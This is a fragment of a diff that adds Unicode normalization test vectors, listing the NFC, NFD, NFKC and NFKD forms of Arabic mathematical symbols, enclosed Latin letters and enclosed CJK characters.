+{ source: [0x1EE00], NFC: [0x1EE00], NFD: [0x1EE00], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0x1EE01], NFC: [0x1EE01], NFD: [0x1EE01], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE02], NFC: [0x1EE02], NFD: [0x1EE02], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE03], NFC: [0x1EE03], NFD: [0x1EE03], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EE05], NFC: [0x1EE05], NFD: [0x1EE05], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EE06], NFC: [0x1EE06], NFD: [0x1EE06], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EE07], NFC: [0x1EE07], NFD: [0x1EE07], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE08], NFC: [0x1EE08], NFD: [0x1EE08], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE09], NFC: [0x1EE09], NFD: [0x1EE09], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE0A], NFC: [0x1EE0A], NFD: [0x1EE0A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE0B], NFC: [0x1EE0B], NFD: [0x1EE0B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE0C], NFC: [0x1EE0C], NFD: [0x1EE0C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE0D], NFC: [0x1EE0D], NFD: [0x1EE0D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE0E], NFC: [0x1EE0E], NFD: [0x1EE0E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE0F], NFC: [0x1EE0F], NFD: [0x1EE0F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE10], NFC: [0x1EE10], NFD: [0x1EE10], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE11], NFC: [0x1EE11], NFD: [0x1EE11], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE12], NFC: [0x1EE12], NFD: [0x1EE12], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE13], NFC: [0x1EE13], NFD: [0x1EE13], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EE14], NFC: [0x1EE14], NFD: [0x1EE14], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE15], NFC: [0x1EE15], NFD: [0x1EE15], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE16], NFC: [0x1EE16], NFD: [0x1EE16], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE17], NFC: [0x1EE17], NFD: [0x1EE17], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE18], NFC: [0x1EE18], NFD: [0x1EE18], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EE19], NFC: [0x1EE19], NFD: [0x1EE19], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE1A], NFC: [0x1EE1A], NFD: [0x1EE1A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE1B], NFC: [0x1EE1B], NFD: [0x1EE1B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE1C], NFC: [0x1EE1C], NFD: [0x1EE1C], NFKC: [0x066E], NFKD: [0x066E] },
+{ source: [0x1EE1D], NFC: [0x1EE1D], NFD: [0x1EE1D], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0x1EE1E], NFC: [0x1EE1E], NFD: [0x1EE1E], NFKC: [0x06A1], NFKD: [0x06A1] },
+{ source: [0x1EE1F], NFC: [0x1EE1F], NFD: [0x1EE1F], NFKC: [0x066F], NFKD: [0x066F] },
+{ source: [0x1EE21], NFC: [0x1EE21], NFD: [0x1EE21], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE22], NFC: [0x1EE22], NFD: [0x1EE22], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE24], NFC: [0x1EE24], NFD: [0x1EE24], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE27], NFC: [0x1EE27], NFD: [0x1EE27], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE29], NFC: [0x1EE29], NFD: [0x1EE29], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE2A], NFC: [0x1EE2A], NFD: [0x1EE2A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE2B], NFC: [0x1EE2B], NFD: [0x1EE2B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE2C], NFC: [0x1EE2C], NFD: [0x1EE2C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE2D], NFC: [0x1EE2D], NFD: [0x1EE2D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE2E], NFC: [0x1EE2E], NFD: [0x1EE2E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE2F], NFC: [0x1EE2F], NFD: [0x1EE2F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE30], NFC: [0x1EE30], NFD: [0x1EE30], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE31], NFC: [0x1EE31], NFD: [0x1EE31], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE32], NFC: [0x1EE32], NFD: [0x1EE32], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE34], NFC: [0x1EE34], NFD: [0x1EE34], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE35], NFC: [0x1EE35], NFD: [0x1EE35], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE36], NFC: [0x1EE36], NFD: [0x1EE36], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE37], NFC: [0x1EE37], NFD: [0x1EE37], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE39], NFC: [0x1EE39], NFD: [0x1EE39], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE3B], NFC: [0x1EE3B], NFD: [0x1EE3B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE42], NFC: [0x1EE42], NFD: [0x1EE42], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE47], NFC: [0x1EE47], NFD: [0x1EE47], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE49], NFC: [0x1EE49], NFD: [0x1EE49], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE4B], NFC: [0x1EE4B], NFD: [0x1EE4B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE4D], NFC: [0x1EE4D], NFD: [0x1EE4D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE4E], NFC: [0x1EE4E], NFD: [0x1EE4E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE4F], NFC: [0x1EE4F], NFD: [0x1EE4F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE51], NFC: [0x1EE51], NFD: [0x1EE51], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE52], NFC: [0x1EE52], NFD: [0x1EE52], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE54], NFC: [0x1EE54], NFD: [0x1EE54], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE57], NFC: [0x1EE57], NFD: [0x1EE57], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE59], NFC: [0x1EE59], NFD: [0x1EE59], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE5B], NFC: [0x1EE5B], NFD: [0x1EE5B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE5D], NFC: [0x1EE5D], NFD: [0x1EE5D], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0x1EE5F], NFC: [0x1EE5F], NFD: [0x1EE5F], NFKC: [0x066F], NFKD: [0x066F] },
+{ source: [0x1EE61], NFC: [0x1EE61], NFD: [0x1EE61], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE62], NFC: [0x1EE62], NFD: [0x1EE62], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE64], NFC: [0x1EE64], NFD: [0x1EE64], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE67], NFC: [0x1EE67], NFD: [0x1EE67], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE68], NFC: [0x1EE68], NFD: [0x1EE68], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE69], NFC: [0x1EE69], NFD: [0x1EE69], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE6A], NFC: [0x1EE6A], NFD: [0x1EE6A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE6C], NFC: [0x1EE6C], NFD: [0x1EE6C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE6D], NFC: [0x1EE6D], NFD: [0x1EE6D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE6E], NFC: [0x1EE6E], NFD: [0x1EE6E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE6F], NFC: [0x1EE6F], NFD: [0x1EE6F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE70], NFC: [0x1EE70], NFD: [0x1EE70], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE71], NFC: [0x1EE71], NFD: [0x1EE71], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE72], NFC: [0x1EE72], NFD: [0x1EE72], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE74], NFC: [0x1EE74], NFD: [0x1EE74], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE75], NFC: [0x1EE75], NFD: [0x1EE75], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE76], NFC: [0x1EE76], NFD: [0x1EE76], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE77], NFC: [0x1EE77], NFD: [0x1EE77], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE79], NFC: [0x1EE79], NFD: [0x1EE79], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE7A], NFC: [0x1EE7A], NFD: [0x1EE7A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE7B], NFC: [0x1EE7B], NFD: [0x1EE7B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE7C], NFC: [0x1EE7C], NFD: [0x1EE7C], NFKC: [0x066E], NFKD: [0x066E] },
+{ source: [0x1EE7E], NFC: [0x1EE7E], NFD: [0x1EE7E], NFKC: [0x06A1], NFKD: [0x06A1] },
+{ source: [0x1EE80], NFC: [0x1EE80], NFD: [0x1EE80], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0x1EE81], NFC: [0x1EE81], NFD: [0x1EE81], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE82], NFC: [0x1EE82], NFD: [0x1EE82], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE83], NFC: [0x1EE83], NFD: [0x1EE83], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EE84], NFC: [0x1EE84], NFD: [0x1EE84], NFKC: [0x0647], NFKD: [0x0647] },
+{ source: [0x1EE85], NFC: [0x1EE85], NFD: [0x1EE85], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EE86], NFC: [0x1EE86], NFD: [0x1EE86], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EE87], NFC: [0x1EE87], NFD: [0x1EE87], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE88], NFC: [0x1EE88], NFD: [0x1EE88], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE89], NFC: [0x1EE89], NFD: [0x1EE89], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE8B], NFC: [0x1EE8B], NFD: [0x1EE8B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE8C], NFC: [0x1EE8C], NFD: [0x1EE8C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE8D], NFC: [0x1EE8D], NFD: [0x1EE8D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE8E], NFC: [0x1EE8E], NFD: [0x1EE8E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE8F], NFC: [0x1EE8F], NFD: [0x1EE8F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE90], NFC: [0x1EE90], NFD: [0x1EE90], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE91], NFC: [0x1EE91], NFD: [0x1EE91], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE92], NFC: [0x1EE92], NFD: [0x1EE92], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE93], NFC: [0x1EE93], NFD: [0x1EE93], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EE94], NFC: [0x1EE94], NFD: [0x1EE94], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE95], NFC: [0x1EE95], NFD: [0x1EE95], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE96], NFC: [0x1EE96], NFD: [0x1EE96], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE97], NFC: [0x1EE97], NFD: [0x1EE97], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE98], NFC: [0x1EE98], NFD: [0x1EE98], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EE99], NFC: [0x1EE99], NFD: [0x1EE99], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE9A], NFC: [0x1EE9A], NFD: [0x1EE9A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE9B], NFC: [0x1EE9B], NFD: [0x1EE9B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EEA1], NFC: [0x1EEA1], NFD: [0x1EEA1], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EEA2], NFC: [0x1EEA2], NFD: [0x1EEA2], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EEA3], NFC: [0x1EEA3], NFD: [0x1EEA3], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EEA5], NFC: [0x1EEA5], NFD: [0x1EEA5], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EEA6], NFC: [0x1EEA6], NFD: [0x1EEA6], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EEA7], NFC: [0x1EEA7], NFD: [0x1EEA7], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EEA8], NFC: [0x1EEA8], NFD: [0x1EEA8], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EEA9], NFC: [0x1EEA9], NFD: [0x1EEA9], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EEAB], NFC: [0x1EEAB], NFD: [0x1EEAB], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EEAC], NFC: [0x1EEAC], NFD: [0x1EEAC], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EEAD], NFC: [0x1EEAD], NFD: [0x1EEAD], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EEAE], NFC: [0x1EEAE], NFD: [0x1EEAE], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EEAF], NFC: [0x1EEAF], NFD: [0x1EEAF], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EEB0], NFC: [0x1EEB0], NFD: [0x1EEB0], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EEB1], NFC: [0x1EEB1], NFD: [0x1EEB1], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EEB2], NFC: [0x1EEB2], NFD: [0x1EEB2], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EEB3], NFC: [0x1EEB3], NFD: [0x1EEB3], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EEB4], NFC: [0x1EEB4], NFD: [0x1EEB4], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EEB5], NFC: [0x1EEB5], NFD: [0x1EEB5], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EEB6], NFC: [0x1EEB6], NFD: [0x1EEB6], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EEB7], NFC: [0x1EEB7], NFD: [0x1EEB7], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EEB8], NFC: [0x1EEB8], NFD: [0x1EEB8], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EEB9], NFC: [0x1EEB9], NFD: [0x1EEB9], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EEBA], NFC: [0x1EEBA], NFD: [0x1EEBA], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EEBB], NFC: [0x1EEBB], NFD: [0x1EEBB], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1F100], NFC: [0x1F100], NFD: [0x1F100], NFKC: [0x0030, 0x002E], NFKD: [0x0030, 0x002E] },
+{ source: [0x1F101], NFC: [0x1F101], NFD: [0x1F101], NFKC: [0x0030, 0x002C], NFKD: [0x0030, 0x002C] },
+{ source: [0x1F102], NFC: [0x1F102], NFD: [0x1F102], NFKC: [0x0031, 0x002C], NFKD: [0x0031, 0x002C] },
+{ source: [0x1F103], NFC: [0x1F103], NFD: [0x1F103], NFKC: [0x0032, 0x002C], NFKD: [0x0032, 0x002C] },
+{ source: [0x1F104], NFC: [0x1F104], NFD: [0x1F104], NFKC: [0x0033, 0x002C], NFKD: [0x0033, 0x002C] },
+{ source: [0x1F105], NFC: [0x1F105], NFD: [0x1F105], NFKC: [0x0034, 0x002C], NFKD: [0x0034, 0x002C] },
+{ source: [0x1F106], NFC: [0x1F106], NFD: [0x1F106], NFKC: [0x0035, 0x002C], NFKD: [0x0035, 0x002C] },
+{ source: [0x1F107], NFC: [0x1F107], NFD: [0x1F107], NFKC: [0x0036, 0x002C], NFKD: [0x0036, 0x002C] },
+{ source: [0x1F108], NFC: [0x1F108], NFD: [0x1F108], NFKC: [0x0037, 0x002C], NFKD: [0x0037, 0x002C] },
+{ source: [0x1F109], NFC: [0x1F109], NFD: [0x1F109], NFKC: [0x0038, 0x002C], NFKD: [0x0038, 0x002C] },
+{ source: [0x1F10A], NFC: [0x1F10A], NFD: [0x1F10A], NFKC: [0x0039, 0x002C], NFKD: [0x0039, 0x002C] },
+{ source: [0x1F110], NFC: [0x1F110], NFD: [0x1F110], NFKC: [0x0028, 0x0041, 0x0029], NFKD: [0x0028, 0x0041, 0x0029] },
+{ source: [0x1F111], NFC: [0x1F111], NFD: [0x1F111], NFKC: [0x0028, 0x0042, 0x0029], NFKD: [0x0028, 0x0042, 0x0029] },
+{ source: [0x1F112], NFC: [0x1F112], NFD: [0x1F112], NFKC: [0x0028, 0x0043, 0x0029], NFKD: [0x0028, 0x0043, 0x0029] },
+{ source: [0x1F113], NFC: [0x1F113], NFD: [0x1F113], NFKC: [0x0028, 0x0044, 0x0029], NFKD: [0x0028, 0x0044, 0x0029] },
+{ source: [0x1F114], NFC: [0x1F114], NFD: [0x1F114], NFKC: [0x0028, 0x0045, 0x0029], NFKD: [0x0028, 0x0045, 0x0029] },
+{ source: [0x1F115], NFC: [0x1F115], NFD: [0x1F115], NFKC: [0x0028, 0x0046, 0x0029], NFKD: [0x0028, 0x0046, 0x0029] },
+{ source: [0x1F116], NFC: [0x1F116], NFD: [0x1F116], NFKC: [0x0028, 0x0047, 0x0029], NFKD: [0x0028, 0x0047, 0x0029] },
+{ source: [0x1F117], NFC: [0x1F117], NFD: [0x1F117], NFKC: [0x0028, 0x0048, 0x0029], NFKD: [0x0028, 0x0048, 0x0029] },
+{ source: [0x1F118], NFC: [0x1F118], NFD: [0x1F118], NFKC: [0x0028, 0x0049, 0x0029], NFKD: [0x0028, 0x0049, 0x0029] },
+{ source: [0x1F119], NFC: [0x1F119], NFD: [0x1F119], NFKC: [0x0028, 0x004A, 0x0029], NFKD: [0x0028, 0x004A, 0x0029] },
+{ source: [0x1F11A], NFC: [0x1F11A], NFD: [0x1F11A], NFKC: [0x0028, 0x004B, 0x0029], NFKD: [0x0028, 0x004B, 0x0029] },
+{ source: [0x1F11B], NFC: [0x1F11B], NFD: [0x1F11B], NFKC: [0x0028, 0x004C, 0x0029], NFKD: [0x0028, 0x004C, 0x0029] },
+{ source: [0x1F11C], NFC: [0x1F11C], NFD: [0x1F11C], NFKC: [0x0028, 0x004D, 0x0029], NFKD: [0x0028, 0x004D, 0x0029] },
+{ source: [0x1F11D], NFC: [0x1F11D], NFD: [0x1F11D], NFKC: [0x0028, 0x004E, 0x0029], NFKD: [0x0028, 0x004E, 0x0029] },
+{ source: [0x1F11E], NFC: [0x1F11E], NFD: [0x1F11E], NFKC: [0x0028, 0x004F, 0x0029], NFKD: [0x0028, 0x004F, 0x0029] },
+{ source: [0x1F11F], NFC: [0x1F11F], NFD: [0x1F11F], NFKC: [0x0028, 0x0050, 0x0029], NFKD: [0x0028, 0x0050, 0x0029] },
+{ source: [0x1F120], NFC: [0x1F120], NFD: [0x1F120], NFKC: [0x0028, 0x0051, 0x0029], NFKD: [0x0028, 0x0051, 0x0029] },
+{ source: [0x1F121], NFC: [0x1F121], NFD: [0x1F121], NFKC: [0x0028, 0x0052, 0x0029], NFKD: [0x0028, 0x0052, 0x0029] },
+{ source: [0x1F122], NFC: [0x1F122], NFD: [0x1F122], NFKC: [0x0028, 0x0053, 0x0029], NFKD: [0x0028, 0x0053, 0x0029] },
+{ source: [0x1F123], NFC: [0x1F123], NFD: [0x1F123], NFKC: [0x0028, 0x0054, 0x0029], NFKD: [0x0028, 0x0054, 0x0029] },
+{ source: [0x1F124], NFC: [0x1F124], NFD: [0x1F124], NFKC: [0x0028, 0x0055, 0x0029], NFKD: [0x0028, 0x0055, 0x0029] },
+{ source: [0x1F125], NFC: [0x1F125], NFD: [0x1F125], NFKC: [0x0028, 0x0056, 0x0029], NFKD: [0x0028, 0x0056, 0x0029] },
+{ source: [0x1F126], NFC: [0x1F126], NFD: [0x1F126], NFKC: [0x0028, 0x0057, 0x0029], NFKD: [0x0028, 0x0057, 0x0029] },
+{ source: [0x1F127], NFC: [0x1F127], NFD: [0x1F127], NFKC: [0x0028, 0x0058, 0x0029], NFKD: [0x0028, 0x0058, 0x0029] },
+{ source: [0x1F128], NFC: [0x1F128], NFD: [0x1F128], NFKC: [0x0028, 0x0059, 0x0029], NFKD: [0x0028, 0x0059, 0x0029] },
+{ source: [0x1F129], NFC: [0x1F129], NFD: [0x1F129], NFKC: [0x0028, 0x005A, 0x0029], NFKD: [0x0028, 0x005A, 0x0029] },
+{ source: [0x1F12A], NFC: [0x1F12A], NFD: [0x1F12A], NFKC: [0x3014, 0x0053, 0x3015], NFKD: [0x3014, 0x0053, 0x3015] },
+{ source: [0x1F12B], NFC: [0x1F12B], NFD: [0x1F12B], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1F12C], NFC: [0x1F12C], NFD: [0x1F12C], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1F12D], NFC: [0x1F12D], NFD: [0x1F12D], NFKC: [0x0043, 0x0044], NFKD: [0x0043, 0x0044] },
+{ source: [0x1F12E], NFC: [0x1F12E], NFD: [0x1F12E], NFKC: [0x0057, 0x005A], NFKD: [0x0057, 0x005A] },
+{ source: [0x1F130], NFC: [0x1F130], NFD: [0x1F130], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1F131], NFC: [0x1F131], NFD: [0x1F131], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1F132], NFC: [0x1F132], NFD: [0x1F132], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1F133], NFC: [0x1F133], NFD: [0x1F133], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1F134], NFC: [0x1F134], NFD: [0x1F134], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1F135], NFC: [0x1F135], NFD: [0x1F135], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1F136], NFC: [0x1F136], NFD: [0x1F136], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1F137], NFC: [0x1F137], NFD: [0x1F137], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1F138], NFC: [0x1F138], NFD: [0x1F138], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1F139], NFC: [0x1F139], NFD: [0x1F139], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1F13A], NFC: [0x1F13A], NFD: [0x1F13A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1F13B], NFC: [0x1F13B], NFD: [0x1F13B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1F13C], NFC: [0x1F13C], NFD: [0x1F13C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1F13D], NFC: [0x1F13D], NFD: [0x1F13D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1F13E], NFC: [0x1F13E], NFD: [0x1F13E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1F13F], NFC: [0x1F13F], NFD: [0x1F13F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1F140], NFC: [0x1F140], NFD: [0x1F140], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1F141], NFC: [0x1F141], NFD: [0x1F141], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1F142], NFC: [0x1F142], NFD: [0x1F142], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1F143], NFC: [0x1F143], NFD: [0x1F143], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1F144], NFC: [0x1F144], NFD: [0x1F144], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1F145], NFC: [0x1F145], NFD: [0x1F145], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1F146], NFC: [0x1F146], NFD: [0x1F146], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1F147], NFC: [0x1F147], NFD: [0x1F147], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1F148], NFC: [0x1F148], NFD: [0x1F148], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1F149], NFC: [0x1F149], NFD: [0x1F149], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1F14A], NFC: [0x1F14A], NFD: [0x1F14A], NFKC: [0x0048, 0x0056], NFKD: [0x0048, 0x0056] },
+{ source: [0x1F14B], NFC: [0x1F14B], NFD: [0x1F14B], NFKC: [0x004D, 0x0056], NFKD: [0x004D, 0x0056] },
+{ source: [0x1F14C], NFC: [0x1F14C], NFD: [0x1F14C], NFKC: [0x0053, 0x0044], NFKD: [0x0053, 0x0044] },
+{ source: [0x1F14D], NFC: [0x1F14D], NFD: [0x1F14D], NFKC: [0x0053, 0x0053], NFKD: [0x0053, 0x0053] },
+{ source: [0x1F14E], NFC: [0x1F14E], NFD: [0x1F14E], NFKC: [0x0050, 0x0050, 0x0056], NFKD: [0x0050, 0x0050, 0x0056] },
+{ source: [0x1F14F], NFC: [0x1F14F], NFD: [0x1F14F], NFKC: [0x0057, 0x0043], NFKD: [0x0057, 0x0043] },
+{ source: [0x1F16A], NFC: [0x1F16A], NFD: [0x1F16A], NFKC: [0x004D, 0x0043], NFKD: [0x004D, 0x0043] },
+{ source: [0x1F16B], NFC: [0x1F16B], NFD: [0x1F16B], NFKC: [0x004D, 0x0044], NFKD: [0x004D, 0x0044] },
+{ source: [0x1F16C], NFC: [0x1F16C], NFD: [0x1F16C], NFKC: [0x004D, 0x0052], NFKD: [0x004D, 0x0052] },
+{ source: [0x1F190], NFC: [0x1F190], NFD: [0x1F190], NFKC: [0x0044, 0x004A], NFKD: [0x0044, 0x004A] },
+{ source: [0x1F200], NFC: [0x1F200], NFD: [0x1F200], NFKC: [0x307B, 0x304B], NFKD: [0x307B, 0x304B] },
+{ source: [0x1F201], NFC: [0x1F201], NFD: [0x1F201], NFKC: [0x30B3, 0x30B3], NFKD: [0x30B3, 0x30B3] },
+{ source: [0x1F202], NFC: [0x1F202], NFD: [0x1F202], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0x1F210], NFC: [0x1F210], NFD: [0x1F210], NFKC: [0x624B], NFKD: [0x624B] },
+{ source: [0x1F211], NFC: [0x1F211], NFD: [0x1F211], NFKC: [0x5B57], NFKD: [0x5B57] },
+{ source: [0x1F212], NFC: [0x1F212], NFD: [0x1F212], NFKC: [0x53CC], NFKD: [0x53CC] },
+{ source: [0x1F213], NFC: [0x1F213], NFD: [0x1F213], NFKC: [0x30C7], NFKD: [0x30C6, 0x3099] },
+{ source: [0x1F214], NFC: [0x1F214], NFD: [0x1F214], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x1F215], NFC: [0x1F215], NFD: [0x1F215], NFKC: [0x591A], NFKD: [0x591A] },
+{ source: [0x1F216], NFC: [0x1F216], NFD: [0x1F216], NFKC: [0x89E3], NFKD: [0x89E3] },
